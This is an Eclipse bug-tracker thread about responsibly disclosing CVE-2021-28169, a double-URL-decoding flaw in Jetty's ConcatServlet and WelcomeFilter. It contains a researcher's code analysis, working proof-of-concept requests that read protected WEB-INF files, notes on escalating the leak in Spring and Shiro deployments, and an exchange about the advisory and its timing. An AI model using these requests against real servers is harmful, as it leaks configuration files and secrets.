Community
Participate
Working Groups
Created attachment 286329 [details] triggering the vulnerability to leak the shiro.ini file Please note: I was unable to open a case for Jetty because I was restricted as a new user. You might want to re-assign this bug to that team. # Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability Version: 10.2 (latest) Download: https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-servlets/10.0.2 Found By: Steven Seeley of Qihoo 360 Vulcan team Date: 29/4/2021 ## Vulnerability Analysis ```java /* */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { /* 88 */ String query = request.getQueryString(); /* 89 */ if (query == null) { /* */ /* 91 */ response.sendError(204); /* */ /* */ return; /* */ } /* 95 */ List<RequestDispatcher> dispatchers = new ArrayList<RequestDispatcher>(); /* 96 */ String[] parts = query.split("\\&"); /* 97 */ String type = null; /* 98 */ for (String part : parts) { /* */ /* 100 */ String path = URIUtil.canonicalPath(URIUtil.decodePath(part)); // 1 /* 101 */ if (path == null) { /* */ /* 103 */ response.sendError(404); /* */ /* */ return; /* */ } /* */ /* 108 */ if (startsWith(path, "/WEB-INF/") || startsWith(path, "/META-INF/")) { // 2 /* */ /* 110 */ response.sendError(404); /* */ /* */ return; /* */ } /* 114 */ String t = getServletContext().getMimeType(path); /* 115 */ if (t != null) /* */ { /* 117 */ if (type == null) { /* */ /* 119 */ type = t; /* */ } /* 121 */ else if (!type.equals(t)) { /* */ /* 123 */ response.sendError(415); /* */ /* */ return; /* */ } /* */ } /* 128 */ RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(path); // 3 /* 129 */ if (dispatcher != null) { /* 130 */ dispatchers.add(dispatcher); /* */ } /* */ } /* 133 */ if (type != null) { /* 134 */ response.setContentType(type); /* */ } /* 136 */ for (RequestDispatcher dispatcher : dispatchers) /* */ { /* 138 */ dispatcher.include(request, response); // 4 /* */ } /* */ } ``` At *[1]* the code does a url decode and then attempts to normalize the attacker supplied path. Then at *[2]* there is a check that the path doesn't start with "/WEB-INF/" or "/META-INF/". Later at *[3]* the RequestDispatcher is made and finally at *[4]* the `include` is triggered. The problem is that the check at *[2]* can be bypassed because the `RequestDispatcher` will also handle uri decoding. So an attacker that double url encodes a traversal or the `WEB-INF` string in their path which can instantiate a valid dispatcher and leak contents of an attacker controlled file from the ROOT of the web app. ## Impact The vulnerability is limited to a file disclosure from the webapp ROOT directory. However, in some contexts this may allow an attacker to escalate further. Let's use two examples: 1. Spring - Elevation of privilege/access In this environment, it's possible to leak sensitive data from the `application.properties` file such as `spring.datasource.url`, `spring.elasticsearch.rest.password`, `spring.h2.console.settings.web-admin-password`, `spring.influx.password`, `spring.ldap.password`, etc 2. Apache Shiro - Remote Code Execution In this environment, it's possible to leak the shiro.ini file which contains `securityManager.rememberMeManager.cipherKey`. This key can be used to gain remote code execution against the application via deserialization in the `rememberMe` cookie. ## Proof of Concept Modify your web.xml to include the servlet: ```xml <servlet> <servlet-name>Concat</servlet-name> <servlet-class>org.eclipse.jetty.servlets.ConcatServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>Concat</servlet-name> <url-pattern>/concat</url-pattern> </servlet-mapping> ```` Now trigger the bug. Please note that the `js` directory doesn't need to exist: ``` GET /concat?/js/%252e%252e/WEB-INF/web.xml HTTP/1.1 Host: target ``` or, if you prefer to avoid traversals, because of ID$: ``` GET /concat?/%2557EB-INF/web.xml HTTP/1.1 Host: target ``` ## Reference - https://docs.spring.io/spring-boot/docs/current/reference/html/appendix-application-properties.html - https://shiro.apache.org/configuration.html
For Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory. For example a request to `/concat?/%2557EB-INF/web.xml` can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application. CWEs CWE-200 CVSS Score 5.3 Moderate CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N This will be resolved in Jetty 9.4.41, 10.0.3, and 11.0.3 which we are currently working on releases for.
Let's use CVE-2021-28169. Project committers: let me know when you're ready to push this.
We have discovered the vulnerability affects the WelcomeFilter as well. Here is an updated description. For Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet and WelcomeFilter with a doubly encoded path to access protected resources within the WEB-INF directory. For example a request to the ConcatServlet with a path `/concat?/%2557EB-INF/web.xml` can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application. Workarounds If you cannot update to the latest version of Jetty, you can instead deploy your own version of the ConcatServlet and/or the WelcomeFilter by using the code from the latest version of Jetty. CWEs CWE-200 CVSS Score 5.3 Moderate CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N This is currently fixed in Jetty 9.4.41, 10.0.3, and 11.0.3.
(In reply to Lachlan Roberts from comment #3) > We have discovered the vulnerability affects the WelcomeFilter as well. Here > is an updated description. Is the project team ready to make this public?
Wayne, The release is out and is currently being announced without mention of the security bug. For low/moderate CVEs our preference is to give a little time for normal updates before going public. So can we go public Monday next week?
> For low/moderate CVEs our preference is to give a little time for normal > updates before going public. So can we go public Monday next week? Notwithstanding the maximum three months disclosure requirement, the timing is entirely up to you. Are you ready to go? Is there an advisory that you need me to push?
Wayne, We are ready for this to go public. The GitHub security advisory will need to be published as well: https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
I've pushed the report to the central authority.